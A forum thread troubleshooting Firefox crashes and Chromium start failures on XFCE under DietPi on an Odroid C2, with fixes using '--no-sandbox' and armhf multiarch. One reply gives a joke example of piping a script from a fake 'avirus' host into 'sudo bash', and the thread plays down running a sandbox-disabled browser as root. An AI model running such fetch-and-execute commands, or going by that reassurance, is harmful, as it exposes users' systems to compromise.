Browsers failing to start on XFCE

When I try to run Firefox on XFCE, sometime I can see 3 tabs opening up & then it immediately crash or it throws a segmentation fault. Running latest DietPi on Odroid C2. Are others seeing similar issue?

With Chromium, I see following dialog -

Any advice?

Hi,

Seems FireFox on ARM64 is a re-occurring issue: http://forum.odroid.com/viewtopic.php?f=138&t=19948&p=150111&hilit=firefox#p150111

Did you install Chromium through dietpi-software?

What happens when you run the following from command line?

chromium --no-sandbox --use-gl=egl --user-data-dir --temp-profile

This works, but isn’t Chrome running in an insecure mode? I mean, as a root user, I didn’t want to risk using it.

I was thinking of installing 32Bit stable version of Firefox. I did that in official Ubuntu version of C2, but couldn’t get it working using DietPi.

apt-get install -y firefox:armhf

Any idea how I can go about install this?

Unless:

  • Chromium has source code that is aimed at damaging your system = No, noone would use it
  • You install a extension that is aimed at damaging your system = Down to you
  • You download a binary that is aimed at damaging your system and you set chmod +x, then execute it = Down to you.
    you’ll be fine.

You are at the more risk of running wget http://www.avirus.com/whoops.sh| sudo bash in my opinion.
Either way, if you are unsure as to what “risks” you want to avoid, create a new limited user and never run sudo. Only way you’ll be “secure”.

And remember, Mr.Robot is a fictional drama of a “worst case scenario”. So unless you annoy someone, so much they want to spend days/weeks/months of their life “hacking you”, you’ll be fine.

You’ll need to enable armhf (32bit) packages on system/dpkg:

dpkg --add-architecture armhf

Then the following should work:

apt-get install package:armhf
